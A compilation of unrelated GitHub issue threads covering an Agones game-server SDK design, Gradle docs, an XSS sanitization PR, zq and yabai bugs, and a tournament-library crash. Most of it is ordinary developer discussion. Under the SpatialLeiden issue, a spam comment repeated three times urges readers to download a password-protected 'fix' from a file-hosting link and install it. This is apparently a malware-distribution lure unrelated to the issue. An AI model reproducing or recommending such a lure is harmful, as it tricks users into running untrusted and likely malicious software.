Technical Details
Rather than implementing this with a queue, this should be a synchronous call to the Kubernetes API, with in-built retry and a timeout (30s) on failure. Otherwise there is potential for race conditions between calling the SDK function, and the GameServer being moved to Reserved state.
SDK Function: Allocate()
This new SDK function all allows a game server to mark itself as Allocatedwhen called.
Technical Details
Rather than implementing this with a queue, this should be a synchronous call to the Kubernetes API, with in-built retry and a timeout (30s) on failure. Otherwise there is potential for race conditions between calling the SDK function, and the GameServer being moved to Allocated state.
SDK Function: Ready()
As currently exists, Ready() should return the GameServer to a ready state, but also remove any timeout that may be in place from a Reserve(n).
Proposed Matchmaker Workflow
The following would be the workflow for a game server process as it is integrated with Agones and 1st party matchmaker.

In this workflow, there is no requirement for a GameServer to mark themselves as Ready - they can Reserve(n) themselves as soon as they are about to register themselves with the matchmaker.
@startuml
GameServer -> "Agones SDK": Reserve(n)
note right: n is longer than the known\nReservation time with the\nmatchmaker
GameServer -> "MatchMaker SDK": Register()
GameServer <- "MatchMaker SDK": GameStarting()
GameServer -> "Agones SDK": Allocate()
GameServer -> "MatchMaker SDK": Confirm()
@enduml

/cc @victor-prodan pretty sure this is what you wanted a long time ago? (e.g. #297)

Staring at this, I realised that game servers could move straight to Reserve(n) rather than Ready, as there is no real reason to go to Ready first. Updating design.
/cc @joeholley does the abovegel with what we had originally discussed?

This new SDK function, Reserve will set the GameServer record to the Reserved state for the given number of seconds. (0 indicating forever). When that time period has ended, the GameServer shall revert back to Ready.

What happens after the GS returns to Ready state (after timeout)? Should it try to set itself to Reserve state and then  Register with MM?

/cc @victor-prodan pretty sure this is what you wanted a long time ago? (e.g. #297)

Yep, sure this :+1:

What happens after the GS returns to Ready state (after timeout)? Should it try to set itself to Reserve state and then Register with MM?

That's up to the game server. But yes, I expect it will re-register, possibly after a short period, to give an opportunity to scale down if there aren't any players currently playing.

I don't understand the purpose of reserving for a limited amount of time though... :-\

It's my understanding, that for many matchmakers, a gameserver will register themselves for a time period with the matchmaker - i.e. "I'm available to play a game on, for the next 5 minutes". Once that time has passed, the matchmaker no longer has it available as an option,  unless it re-registeres. This happens so that a fleet can scale down as needed, if there are less people than anticipated playing a game, and one needs to scale the fleet down.

It's my understanding, that for many matchmakers, a gameserver will register themselves for a time period with the matchmaker - i.e. "I'm available to play a game on, for the next 5 minutes". Once that time has passed, the matchmaker no longer has it available as an option, unless it re-registeres. This happens so that a fleet can scale down as needed, if there are less people than anticipated playing a game, and one needs to scale the fleet down.

Matchmaker could also delete those unused gameservers via the k8s API.

Matchmaker could also delete those unused gameservers via the k8s API.

Even simpler - just as it sends GameStarting event, it could send a 'Shutdown' event as well.

Yeah - it is dependent on the matchmaker - some of which some people have control over, and some people do not. But it sounds like the above design would work for all these different requirements?

I would change Reserve(n) into Reserve() and Unreserve() (or other equivalent names), because it's more flexible and allows both the type of implementation when we know the reservation time in advance and also the kind in which the matchmaker tells a server to shut down.

I actually think having both might be worth while. Reserve(n) would auto timeout while Reserve() would not. Unreserve() would force it into its unreserved state, removing the timeout if it exists.

I would change Reserve(n) into Reserve() and Unreserve() (or other equivalent names), because it's more flexible and allows both the type of implementation when we know the reservation time in advance and also the kind in which the matchmaker tells a server to shut down.

Not all languages have function overloading, but those that do can do Reserve() and Reserve(n), those that don't could do Reserver(n) and Reserve(0) (where 0 is forever).
Unreserve we already have :smile: it's called Ready() - just need to make some tests to make sure this logic path works, and make any adjustments as need be (like removing the timeout if it exists).
So I think then that the above design should work out well. I added a section on Ready() to indicate that it should remove the timeout, and make explicit it's requirements.

Starting work with a PR to implement SDK.Allocate()
WIP: https://github.com/markmandel/agones/tree/feature/sdk-allocate

I just got completed with SDK.Allocate() but it looks like when rebasing against master, gRPC regeneration is kinda broken :cry: - combo of the C++ changes and the new transition to Go modules.
@Kuqd looks like your work in #630 fixes this -- can you confirm? If so, I'll wait on that to go through (looks like it's close, just need to resolve some conflicts mostly).
/cc @dsazonoff for visibility as well.

yes it does !

So here is a fun question I hadn't thought about that I came across while working on this.
If I create a GameServerAllocation, it currently only looks through GameServers that are in a Ready state.
Should GameServerAllocation search through GameServers that are both Ready as well as Reserved ?
Right now, I'm not changing GameServerAllocation as it's easier to add this functionality, than remove it later -- but what do people think?
Reserved was originally intended to support systems that self allocate, but maybe it has other uses?

I think the current allocation should only allocate from Ready (as default behavior). We should go over the life-cycle of the Reserved ones.We can extend the allocation to Reserved ones based on filters that are set in the request.

I was digging into this more - from the design and the original version of Allocate  (and eventually Reserve) was to make it a synchronous operation with a 30 second timeout - the idea being to stop race condtions.
Looking at the code, I don't think this is a good idea. They should be async like Ready and Shutdown. Having some SDK functions that change status.state values are sync and some that are async (a) gives us an inconsistent interface for the SDK and (b) will actually cause the race conditions that I previously was trying to remove.
I'll shift the current implementation of Allocate over to using the queue like the other implementations targeted at the next release. The API surface will stay the same though.
This also means it doesn't matter what state change you are trying to implement - you can use the watch command to see when the final change occurs - so you only need one logical path to implement.
Please let me know if anyone has objections / that doesn't make sense.

Remaining work (I have done it, but am slowly feeding it through the PR queue):

[ ] E2E tests for Reserve
[ ] Reserve GameServer lifecycle diagram
[ ] Update GameServer state diagram to include Reserve

So the base functionality of this is now complete.
The remaining item is support for all the languages/engines. How do we feel about closing this ticket -- wait for the SDK functionality to be finished, or create a new ticket for the missing (which we have in #927 .
Thoughts?

I'm ok tracking the remaining work in #927 (and it's broader than this issue).

I'm ok tracking the remaining work in #927 (and it's broader than this issue).

Agreed. I will close this issue, and we can track the rest on #927 :+1:


Lost important documentation parts in 8.11

Issue type
Missing information
Problem description
The docs of 8.11 lost very important parts of the documentation.
For example the whole "Sharing outputs between projects" section is gone and only redirects to dependency_resolution_basics.html#dependency-resolution-basics which does not provide any relevant information.
Context (optional)
No response
Page with the problem
https://docs.gradle.org/current/userguide/cross_project_publications.html

@Vampire, I'm currently adding a How To Guide section for "Sharing outputs between projects" in Gradle 8.12.
Is there anything else you want me to "put back"?

I did not check what else was removed, I just searched for that specific section to share it with another user and was not able to find it, and then recognized the commit that deleted it together with some other things, so intentionally wrote the report a bit blurry, sorry. :-)

No problem, if there is anything else you find missing, feel free to add it to this thread or ping me and I will take care of it.


fix: sanitized query strings on the website

Description
added some basic sanitization for the query string to avoid some xss attacks
Motivation
Previously, this link would cause an alert to show up.
To-do list

[x] I have read the CONTRIBUTING document.

[x] This pull request is ready to merge.

Run report for edec78b8
Total time: 19.3s | Comparison time: 17.8s | Estimated loss: 1.5s (8.0% slower)

Action
Time
Status
Info

🟩
SyncWorkspace
0ms
Passed

⬛
SetupNodeTool(~20.11)
1.2s
Skipped

🟩
InstallNodeDeps(~20.11)
7.5s
Passed

🟩
SyncNodeProject(contrast-colors)
0.1ms
Passed

🟩
SyncNodeProject(ui)
0.3ms
Passed

🟩
RunTask(ui:makeDistDir)
34.9ms
Passed

🟩
RunTask(ui:copyCNAME)
19.3ms
Passed

🟩
RunTask(ui:copyUIIcons)
58.3ms
Passed

🟩
RunTask(ui:copyWorkflowIcons)
49.3ms
Passed

🟩
RunTask(ui:buildSite)
10.5s
Passed

Touched files
docs/ui/package.json
docs/ui/src/index.js
docs/ui/src/js/addFromURL.js
docs/ui/src/js/params.js
docs/ui/src/js/utils.js
docs/ui/src/theme.js
pnpm-lock.yaml


"Swap Huts" typo

There is a small type seen in the superflat world creation menu. It says "Swap Huts" instead of "Swamp Huts". The vanilla game doesn't seem to have translation keys for the structure names.

Fixed in version 1.6.4, thanks for reporting.


Test release/2.0-ci (fix #2928) [do not merge]

Testing change to fix #2928

@MSLaguana
Copyright Check — Triggered. (54/59 on ubuntu1604-20170216)
EOL Check — Triggered. (51/59 on ubuntu1604-20170216)

Looks like it works :)


Failed attempt to write to S3 bucket looks like success

Found while verifying https://github.com/brimsec/zq/issues/771. With zq commit 4e6680f, if I attempt to send the output to an S3 bucket that doesn't exist, zq behaves as if it worked.
$ echo '{"foo": "bar"}' | zq -t -
#0:record[foo:string]
0:[bar;]

$ echo '{"foo": "bar"}' | zq -t -o s3://this-bucket-does-not-exist/foo.zng -
$ echo $?
0

Thanks @philrz on it

Verified in zq commit 10de8f6. Now we get a proper error message and a non-zero return code.
$ echo '{"foo": "bar"}' | zq -t -o s3://this-bucket-does-not-exist/foo.zng -
open s3://this-bucket-does-not-exist/foo.zng: no such file or directory

$ echo $?
1

Thanks @mattnibs!


Fix items for pull request

COBS adds/modifies some data so that you can use 0x00 as a termination character. The test values didn't take this into account, and were only the non-encoded values of the serialized data.
I also fixed a couple things that broke when you had default features enabled (without std).

CC https://github.com/jamesmunns/postcard/pull/6


Emacs Window Strange Behaviour

Yabai version: v3.2.0
skhd version: 0.3.5
Macos version: 10.15.5
I have been using Emacs under Yabai for a while. Sometimes, it has this strange behaviour:

Please allow me to explain what's happening. this is a 2k ultra monitor positioned vertically. On top its a terminal window. On the bottom, its the Emacs. I was using Magit in Emacs.

When I press s to stage a file, (Sometimes doing other actions can trigger this as well.), the Emacs shrinks into half of its original height.
Then right after that, I float the emacs window and then un-float and put that window back. The emacs gets shrink again.
Then I throw Emacs to another workspace, it layouts fine with no issue. And when I throw Emacs back, it first put back Emacs in its shrink size and then automatically resize back to its correct size.

PS: I have yabai -m rule --add app=Emacs manage=on  this line in my config file, otherwise, yabai won't do any actions to my Emacs.

I have yabai -m rule --add app=Emacs manage=on this line in my config file, otherwise, yabai won't do any actions to my Emacs.

That forces yabai to tile all Emacs windows with no exception, which includes transparent standard windows that Emacs creates (and mislabels, because those should not be standard windows).
Try adding a title!='^$to your rule to make the rule only apply to windows that have a title.

@dominiklohmann Thanks for the advice. I have added the suggested title property to my rule. I have restarted yabai and it seem to be fine right now. The problem I have only happens occasionally, I hope that it solved this issue.


Remove adapter PhpCode

... because it's using eval.
It's only useful for testing/debugging but to dangerous to use for wrong purpose.
Because of that I propose to remove this adapter as it's also really simple to write it byself in case someone really needs it.
See #5
PS: The serializer can't use PHP's opcache as that would be another possible use as pointed out by @Ocramius - but as told it cant be done by serializer component and would live better in zend-cache.

This repository has been closed and moved to laminas/laminas-serializer; a new issue has been opened at https://github.com/laminas/laminas-serializer/issues/1.


Single Elimination with 3 players enrolled will crash

Hey @slashinfty
I am currently experimenting with your library - I really like it! Thanks for building it.
When using it I encountered a bug, though.
      const manager = new TournamentOrganizer();
      const tournament = manager.newTournament({
        format: "elimination",
        double: false,
      });

      tournament.addPlayer({ alias: "Team1" });
      tournament.addPlayer({ alias: "Team2" });
      tournament.addPlayer({ alias: "Team3" });
      tournament.startEvent();

This will produce an error:
[2022-11-16 09:47:55.363] error: Cannot read properties of undefined (reading 'id')
TypeError: Cannot read properties of undefined (reading 'id')
    at /Users/user/projects/project/node_modules/tournament-organizer/dist/cjs/Pairings.js:112:59
    at Array.forEach (<anonymous>)
    at Object.singleElimination (/Users/user/projects/project/node_modules/tournament-organizer/dist/cjs/Pairings.js:109:71)
    at Elimination.startEvent (/Users/user/projects/project/node_modules/tournament-organizer/dist/cjs/Tournament.js:999:22)
[...]

After a quick dive into the code the issue seems to be, that the bracket distribution const bracket = [1, 4, 2, 3] of course doesn't account for less than 4 players.
I have not yet had the chance to dive deeper into the code, but as single elimination tournaments don't really make sense for less than 4 players, I will implement a safe guard for this condition. Perhaps changing the required amount of players to 4 for elimination brackets might also be a quickfix.
If you'd like to point me in a direction I'll gladly do a PR, too.
Thanks!

It would just be updating these couple lines. Feel free to make the PR and I'll push things tonight.
FYI - I'm working on v3, which will be quite an overhaul. However, I have limited time to work on these hobby projects, so I have no timetable for that.

Update: it's actually more than just that. These two lines (this and this) need to be changed to const bracket = exponent < 2 ? [1, 2] : [1, 4, 2, 3];
Aside: v3 might actually be done relatively soon. I've had some free time lately.

Fixed with v2.3.2

Oh, wow! Thanks so much! I disabled all mails because I got too much spam from work, haven't worked on my hobby project since then and dropped in to look at the status - and apparently you're already done! 🚀
Maybe I can take a deeper look at this lib and help you out when I find the time?

You're welcome to. I did just release v3.0 Friday night, which is a complete reworking (I think it's far simpler now).

I need to check it out - I am working with Strapi, which unfortunately won't be moved to ESM anytime soon... It works with dynamic imports, however it breaks when using TS <4.7 (or 4.8, not sure), as this will always transpile a dynamic import() to ESM. TS 4.7 should fix this issue by allowing to respect modules.
But that's just a side note.
Thanks for your work, enjoy your Kofi, and I'll keep watching this library! 🤝


fix BatchGet return early when meet lock

BatchGet should keep getting all the keys even if there are locked keys.

@bobotu PTAL


Add SpatialLeiden as clustering method

Basically already (mostly) uses scanpy / squidpy for preproc steps, could wrap remaining python code and provide as method:

https://www.biorxiv.org/content/10.1101/2<IP_ADDRESS>9349v1

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Add extension context to SessionState.

This trying to fix #8926.

I don't think this PR is waiting on feedback, so marking it as a draft. Please mark it as ready for review when it is ready for another look 🙏

@alamb  sorry.

@alamb sorry.

Nothing to be sorry about at all -- I am just trying to make sure all PRs get a timely review and it is hard to keep track of which ones have and have not had reviews yet
Is there something I can do to help this PR along? or maybe @yliang412 might have some thoughts?

Any update @yuyang-ok ?

sorry @alamb  these days are Chinese new year.  I think maybe close this PR for a while.
I will fix this later.


Use recent OSA key/repo management

The pip_install role added the key/repo management to be
consistent everywhere (when doing RDO/UCA). A patch was also
included in OSA to be able to define an alternative repo to UCA.
We can now in RPC leverage this feature, and therefore we need
to wire the variables to point to our mirror that holds the UCA
packages.
This should do the trick.
Note: This commit should wait for this commit to merge back into newton: https://review.openstack.org/#/c/438456/
Connected rcbops/u-suk-dev#1252

Updated with latest osa patchset changes.


openchart.io is now a registered domain

The domain name expired

can't this thing host on github page or something instead? I don't have a windows machine to host one myself locally